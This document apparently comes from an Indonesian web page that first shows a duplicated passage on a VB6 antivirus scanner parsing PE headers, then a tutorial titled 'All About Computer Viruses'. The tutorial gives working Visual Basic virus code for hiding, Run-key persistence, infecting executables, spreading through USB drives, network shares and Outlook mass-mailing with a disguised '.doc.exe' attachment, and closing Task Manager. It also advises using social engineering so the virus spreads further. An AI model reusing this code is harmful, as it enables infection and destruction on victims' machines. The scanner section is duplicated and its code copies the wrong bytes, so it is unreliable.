| Private SECTIONSHEADER() As IMAGE_SECTION_HEADER
| Private Declare Sub CopyMemory Lib “kernel32″ Alias “RtlMoveMemory” (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
|
| Public Function ReadPE(ByRef DATA() As Byte) As String
| On Error GoTo ErrX
| Dim CNT As Long
| Dim u As Long
| Dim dumpSec() As Byte
|
| CopyMemory DOSHEADER, DATA(CNT), Len(DOSHEADER) ‘Memulai mapping
| If DOSHEADER.e_magic <> “MZ” Then Exit Function ‘Periksa apakah DOS Header adalah valid
| CopyMemory NTHEADER, DATA(DOSHEADER.e_lfanew), Len(NTHEADER)
| CNT = CNT + DOSHEADER.e_lfanew + Len(NTHEADER) ‘Offset section pertama
| If NTHEADER.Signature <> “PE” & Chr(0) & Chr(0) Then Exit Function ‘Periksa apakah file PE adalah valid
| ReDim SECTIONSHEADER(NTHEADER.FileHeader.NumberOfSections - 1) ‘Array tabel section
| For u = 0 To UBound(SECTIONSHEADER) ‘Enumerasi tiap section
| CopyMemory SECTIONSHEADER(u), DATA(CNT), Len(SECTIONSHEADER(0))
| CNT = CNT + Len(SECTIONSHEADER(0)) ‘Offset section berikutnya
| If SECTIONSHEADER(u).nameSec = “.data” Or u = 1 Then ‘Periksa apakah section ke 2 atau bernama .data
| POINTERTORAW = SECTIONSHEADER(u).PointerToRawData ‘Dapatkan offset section
| SIZEOFRAW = SECTIONSHEADER(u).SizeOfRawData ‘Dapatkan ukurannya
| ReDim dumpSec(SIZEOFRAW - 1)
| For i = 0 To SIZEOFRAW - 1
| dumpSec(i) = DATA(i) ‘Salin array yang mengandung section code
| Next
| ReadPE = Hex(CRC32(dumpSec(), SIZEOFRAW - 1)) ‘Teknik CRC32
| GoTo udah
| End If
| Next u
| udah:
| Exit Function
| ErrX:
| On Error GoTo 0
| End Function
Dimana DATA() adalah array byte dari file PE yang dibuka. Engine scanner ini perlu ditingkatkan sensitifitasnya, karena bila terdapat section dummy pada urutan section kedua atau tidak ada section yang bernama .data maka hasil yang diperoleh akan salah.
[ Penutup ]
Engine scanner statis pada AntiVirus dapat ditingkatkan kinerjanya dengan menambahkan algoritma, fungsi ataupun prosedur tertentu dalam menganalisa setiap file suspect. Salah satu yang bisa ditambahkan adalah fungsi pengecekan per section pada file PE. Fungsi ini juga masih rawan dari kesalahan analisa. Diharapkan dengan adanya artikel ini dapat mengembangkan ataupun memajukan kualitas aplikasi Anti Virus lokal.
=[ by cyberjunk ]=
Seperti yang diketahui, scanner statis akan mendeteksi sebuah malware atau thread berdasarkan hasil checksum dari file tersebut. Tetapi teknik ini tidak akan efesien apabila diterapkan pada malware yang sudah mengimplementasikan teknik polymorph. Teknik Polymorph secara umum adalah teknik mereplikasi diri dan tiap signature replikanya berbeda satu sama lain.
Dalam beberapa kasus virus lokal sudah ditemukan penggunaan teknik polymorph. Baik itu secara sederhana maupun kompleks. Cara yang biasa digunakan yaitu :
- Merubah atau mengenkripsi nama variabel dan string
- Menambah atau mengurangi byte-byte tertentu dalam diri virus
- Menggunakan engine polymorph tertentu
Untuk kasus yang menggunakan teknik enkripsi, tidak semua jenis enkripsi dapat didekripsi oleh engine Antivirus. Perlu analisa dengan menggunakan reverse-engineering yang mendalam guna memahami teknik enkripsi yang dipakai.
Pada penulisan berikut akan dijelaskan bagaimana membuat scanner statis yg bisa mengenali thread secara lebih baik dari yang terdahulu, untuk itu ada baiknya kita mengenal terlebih dahulu format file PE (Portable Executable) pada Windows.
Format File PE mulai dikenalkan pada Windows NT 3.1, dimana format file ini masih menyimpan header MZ dari MS-DOS. Berikut skema dasar format file PE :
|—————————-|
| CodeView Debug Information |
|—————————-|
| COFF Symbols |
|—————————-|
| COFF Line Numbers |
|—————————-|
| Section - n |
| . |
| . |
| Section - 2 |
|—————————-|
| Section - 1 |
|—————————-|
| Section - 0 |
|—————————-|
| Array Section table |
| . |
| . |
| Array Section table |
|—————————-|
| Data Directory |
|—————————-|
| |
|—————————-|
| Image File Header |
|—————————-|
| “PE” |
|—————————-|
| “MZ” |
|—————————-|
[ PE Header ]
PE Header merupakan salah satu struktur dari IMAGE_NT_HEADER (dideklarasikan dalam WINNT.H). Header ini mengandung berbagai macam jenis informasi seperti lokasi dan ukuran dari area kode dan data, system operasi yang dipakai, ukuran stack, dan lain-lain. Header ini juga mengandung MS-DOS stub, yaitu program kecil yang akan menampilkan teks “This program cannot be run in MS-DOS mode.” bila file PE dijalankan di lingkungan yang tidak mendukung Win32. PE Header Terdiri dari struktur :
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
Dimana Signature adalah teks “PE”. Sedangkan IMAGE_FILE_HEADER berisi struktur :
WORD Machine //Berisi nilai untuk jenis CPU yang dipakai, ex : 0×14d untuk Intel i860
WORD NumberOfSections //Berisi jumlah section yang ada di file PE
DWORD TimeDateStamp //Berisi tanggal kapan linker (atau compiler untuk File OBJ) memproduksi file PE
DWORD PointerToSymbolTable //Offset untuk tabel symbol COFF
DWORD NumberOfSymbols //Berisi jumlah symbol COFF di tabel
WORD SizeOfOptionalHeader //Berisi ukuran dari optional header
WORD Characteristics //Berisi informasi tentang file PE
Untuk IMAGE_OPTIONAL_HEADER berisi :
WORD Magic //Selalu bernilai 0×010B
BYTE MajorLinkerVersion //Versi linker yang dipakai
BYTE MinorLinkerVersion //Versi linker yang dipakai
DWORD SizeOfCode //Ukuran dari section code
DWORD SizeOfInitializedData //Ukuran dari semua data section yang terinisialisasi
DWORD SizeOfUninitializedData //Ukuran dari semua data section yang tidak terinisialisasi
DWORD AddressOfEntryPoint //Alamat dimana loader akan memulai eksekusi file PE, alamat ini adalah RVA (Relative Virtual Address)
DWORD BaseOfCode //Alamat RVA dimana section code dimulai
DWORD BaseOfData //Alamat RVA dimana section data dimulai
DWORD ImageBase //Alamat dimana file PE akan dimapping di memory
DWORD SectionAlignment //Nilai penggandaan untuk mapping tiap section di memory
DWORD FileAlignment //Nilai penggandaan untuk mapping tiap section di disk
WORD MajorOperatingSystemVersion //Versi OS yang dipakai
WORD MinorOperatingSystemVersion //Versi OS yang dipakai
WORD MajorSubsystemVersion //Versi minimum OS yang dipakai
WORD MinorSubsystemVersion //Versi minimum OS yang dipakai
DWORD Reserved1 //Selalu bernilai 0
DWORD SizeOfImage //Ukuran dari image yang akan diload oleh loader
DWORD SizeOfHeaders //Ukuran dari PE Header dan tabel section
DWORD CheckSum //Nilai checksum CRC dari file PE
WORD Subsystem //Tipe subsistem yang diperlukan untuk keperluan GUI
WORD DllCharacteristics //Tanda atau flag untuk inisialisasi DLL (Dynamic Link Library)
DWORD SizeOfStackReserve //Ukuran dari virtual memory yang akan digunakan untuk inisialisasi stack
DWORD SizeOfStackCommit //Ukuran dari memory yang akan digunakan untuk inisialisasi stack
DWORD SizeOfHeapReserve //Ukuran dari virtual memory yang akan digunakan untuk inisialisasi heap proses
DWORD SizeOfHeapCommit //Ukuran dari memory yang akan digunakan untuk inisialisasi heap proses
DWORD LoaderFlags //Digunakan untuk keperluan debugging
DWORD NumberOfRvaAndSizes //Jumlah dari array DataDirectory
[ Tabel Section ]
Secara umum Tabel Section dapat dianalogikan sebagai “daftar” untuk tiap section yang ada di file PE. Tabel ini mencakup informasi tentang section-section file PE. berikut contoh layout dari tabel section file PE yang sudah di dump :
01 .text VirtSize: 00005AFA VirtAddr: 00001000
raw data offs: 00000400 raw data size: 00005C00
relocation offs: 00000000 relocations: 00000000
line # offs: 00009220 line #’s: 0000020C
characteristics: 60000020
CODE MEM_EXECUTE MEM_READ
02 .bss VirtSize: 00001438 VirtAddr: 00007000
raw data offs: 00000000 raw data size: 00001600
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: C0000080
UNINITIALIZED_DATA MEM_READ MEM_WRITE
03 .rdata VirtSize: 0000015C VirtAddr: 00009000
raw data offs: 00006000 raw data size: 00000200
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: 40000040
INITIALIZED_DATA MEM_READ
04 .data VirtSize: 0000239C VirtAddr: 0000A000
raw data offs: 00006200 raw data size: 00002400
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: C0000040
INITIALIZED_DATA MEM_READ MEM_WRITE
05 .idata VirtSize: 0000033E VirtAddr: 0000D000
raw data offs: 00008600 raw data size: 00000400
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: C0000040
INITIALIZED_DATA MEM_READ MEM_WRITE
06 .reloc VirtSize: 000006CE VirtAddr: 0000E000
raw data offs: 00008A00 raw data size: 00000800
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: 42000040
INITIALIZED_DATA MEM_DISCARDABLE MEM_READ
Layout diatas adalah format dari IMAGE_SECTION_HEADER, Berikut keterangan tentang IMAGE_SECTION_HEADER :
BYTE Name[IMAGE_SIZEOF_SHORT_NAME] //Nama section, biasanya diawali dengan tanda titik/dot
union { //Nilai sesungguhnya dari ukuran kode atau data
DWORD PhysicalAddress
DWORD VirtualSize
} Misc;
DWORD VirtualAddress //Alamat RVA untuk keperluan mapping oleh loader
DWORD SizeOfRawData //Ukuran dari section setelah dibulatkan ke ukuran file alignment
DWORD PointerToRawData //Offset dari section
DWORD PointerToRelocations //Offset untuk informasi relokasi section
DWORD PointerToLinenumbers //Offset untuk nomor baris (line number)
WORD NumberOfRelocations //Jumlah dari relokasi yang ada di tabel relokasi
WORD NumberOfLinenumbers //Jumlah dari nomor baris yang ada di tabel nomor baris
DWORD Characteristics //Berisi angka tertentu yang menunjukkan atribut dari suatu section (data, kode, dll)
[How to build ]
Untuk membangun suatu scanner statis yang dapat memetakan (mapping) dan mengambil sebagian sectionnya utnuk dianalisa, perlu diketahui terlebih dahulu hal-hal berikut :
- What’s section? Berhubung section yang dimiliki oleh suatu file PE beragam jumlah dan isinya, kita perlu mengetahui section keberapa dan apa isinya sebelum di analisa atau di dump. Pengidentifikasian tiap section dapat dilakukan dengan cara menganalisis karakteristik file PE tersebut.
- Is it packed/compressed or not? Kadang para pembuat aplikasi perlu memproteksi atau mengecilkan ukuran file PE mereka dengan cara menggunakan packer/compressor. Hal ini sangat berpengaruh dalam pengidentifikasian section, karena seringkali packer/compressor membuat section dummy dalam file PE yang dihasilkan.
Bahasa pemograman yang digunakan adalah Visual Basic 6.0. sedangkan Projek yang akan dibuat adalah ActiveX DLL (Dynamic Link Library), sehingga dapat digunakan oleh aplikasi lain. Referensi tentang File DLL dapat dilihat dibagian akhir artikel ini.
Section yang akan diambil adalah data atau code section, dengan mengasumsikan section tersebut berada di urutan kedua maka Section tersebut seharusnya memiliki nama “.data”. Berikut adalah flowchart sederhana dari DLL yang akan dibuat :
|Start|
|
|
|Input File|
|
|
|y
|
|Mapping tabel section|
|
|
|y
|
|Dapatkan size dan offsetnya|
|
|
|ambil checksum dari byte section tsb|
|
|
|End|
Untuk fungsi pengambilan checksum dapat menggunakan teknik CRC ataupun MD5. Khusus utnuk teknik CRC dapat ditemui pada artikel sebelumnya. Sedangkan untuk teknik MD5 dapat menggunakan file aamd532.dll yang ada di file projek artikel ini.
Berikut ini adalah contoh sederhana Activex DLLnya :
—————— START COPy FROM HERE ——————
|’Jenis Projek : Activex DLL
|’Nama file Class : Class1.cls
|
| Private Type IMAGEDOSHEADER
| e_magic As String * 2
| e_cblp As Integer
| e_cp As Integer
| e_crlc As Integer
| e_cparhdr As Integer
| e_minalloc As Integer
| e_maxalloc As Integer
| e_ss As Integer
| e_sp As Integer
| e_csum As Integer
| e_ip As Integer
| e_cs As Integer
| e_lfarlc As Integer
| e_ovno As Integer
| e_res(1 To 4) As Integer
| e_oemid As Integer
| e_oeminfo As Integer
| e_res2(1 To 10) As Integer
| e_lfanew As Long
| End Type
|
| Private Type IMAGE_SECTION_HEADER
| nameSec As String * 6
| PhisicalAddress As Integer
| VirtualSize As Long
| VirtualAddress As Long
| SizeOfRawData As Long
| PointerToRawData As Long
| PointerToRelocations As Long
| PointerToLinenumbers As Long
| NumberOfRelocations As Integer
| NumberOfLinenumbers As Integer
| Characteristics As Long
|
| End Type
|
| Private Type IMAGE_FILE_HEADER
| Machine As Integer
| NumberOfSections As Integer
| TimeDateStamp As Long
| PointerToSymbolTable As Long
| NumberOfSymbols As Long
| SizeOfOptionalHeader As Integer
| Characteristics As Integer
| End Type
|
| Private Type IMAGE_DATA_DIRECTORY
| VirtualAddress As Long
| size As Long
| End Type
|
|
| Private Type IMAGE_OPTIONAL_HEADER
| Magic As Integer
| MajorLinkerVersion As Byte
| MinorLinkerVersion As Byte
| SizeOfCode As Long
| SizeOfInitializedData As Long
| SizeOfUninitializedData As Long
| AddressOfEntryPoint As Long
| BaseOfCode As Long
| BaseOfData As Long
| ImageBase As Long
| SectionAlignment As Long
| FileAlignment As Long
| MajorOperatingSystemVersion As Integer
| MinorOperatingSystemVersion As Integer
| MajorImageVersion As Integer
| MinorImageVersion As Integer
| MajorSubsystemVersion As Integer
| MinorSubsystemVersion As Integer
| Win32VersionValue As Long
| SizeOfImage As Long
| SizeOfHeaders As Long
| CheckSum As Long
| Subsystem As Integer
| DllCharacteristics As Integer
| SizeOfStackReserve As Long
| SizeOfStackCommit As Long
| SizeOfHeapReserve As Long
| SizeOfHeapCommit As Long
| LoaderFlags As Long
| NumberOfRvaAndSizes As Long
| DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
| End Type
|
| Private Type IMAGE_NT_HEADERS
| Signature As String * 4
| FileHeader As IMAGE_FILE_HEADER
| OptionalHeader As IMAGE_OPTIONAL_HEADER
| End Type
|
| Private DOSHEADER As IMAGEDOSHEADER
| Private NTHEADER As IMAGE_NT_HEADERS
| Private SECTIONSHEADER() As IMAGE_SECTION_HEADER
| Private Declare Sub CopyMemory Lib “kernel32″ Alias “RtlMoveMemory” (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
|
| Public Function ReadPE(ByRef DATA() As Byte) As String
| On Error GoTo ErrX
| Dim CNT As Long
| Dim u As Long
| Dim dumpSec() As Byte
|
| CopyMemory DOSHEADER, DATA(CNT), Len(DOSHEADER) ‘Memulai mapping
| If DOSHEADER.e_magic <> “MZ” Then Exit Function ‘Periksa apakah DOS Header adalah valid
| CopyMemory NTHEADER, DATA(DOSHEADER.e_lfanew), Len(NTHEADER)
| CNT = CNT + DOSHEADER.e_lfanew + Len(NTHEADER) ‘Offset section pertama
| If NTHEADER.Signature <> “PE” & Chr(0) & Chr(0) Then Exit Function ‘Periksa apakah file PE adalah valid
| ReDim SECTIONSHEADER(NTHEADER.FileHeader.NumberOfSections - 1) ‘Array tabel section
| For u = 0 To UBound(SECTIONSHEADER) ‘Enumerasi tiap section
| CopyMemory SECTIONSHEADER(u), DATA(CNT), Len(SECTIONSHEADER(0))
| CNT = CNT + Len(SECTIONSHEADER(0)) ‘Offset section berikutnya
| If SECTIONSHEADER(u).nameSec = “.data” Or u = 1 Then ‘Periksa apakah section ke 2 atau bernama .data
| POINTERTORAW = SECTIONSHEADER(u).PointerToRawData ‘Dapatkan offset section
| SIZEOFRAW = SECTIONSHEADER(u).SizeOfRawData ‘Dapatkan ukurannya
| ReDim dumpSec(SIZEOFRAW - 1)
| For i = 0 To SIZEOFRAW - 1
| dumpSec(i) = DATA(i) ‘Salin array yang mengandung section code
| Next
| ReadPE = Hex(CRC32(dumpSec(), SIZEOFRAW - 1)) ‘Teknik CRC32
| GoTo udah
| End If
| Next u
| udah:
| Exit Function
| ErrX:
| On Error GoTo 0
| End Function
Dimana DATA() adalah array byte dari file PE yang dibuka. Engine scanner ini perlu ditingkatkan sensitifitasnya, karena bila terdapat section dummy pada urutan section kedua atau tidak ada section yang bernama .data maka hasil yang diperoleh akan salah.
[ Penutup ]
Engine scanner statis pada AntiVirus dapat ditingkatkan kinerjanya dengan menambahkan algoritma, fungsi ataupun prosedur tertentu dalam menganalisa setiap file suspect. Salah satu yang bisa ditambahkan adalah fungsi pengecekan per section pada file PE. Fungsi ini juga masih rawan dari kesalahan analisa. Diharapkan dengan adanya artikel ini dapat mengembangkan ataupun memajukan kualitas aplikasi Anti Virus lokal.
=[ by cyberjunk ]=
All About Computer Viruses

?Teknik Pembuatan Virus Komputer
Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer 'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature
If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.
Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.
Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.
Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.
Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.
Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.
Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.
Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.
Lampiran A
‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
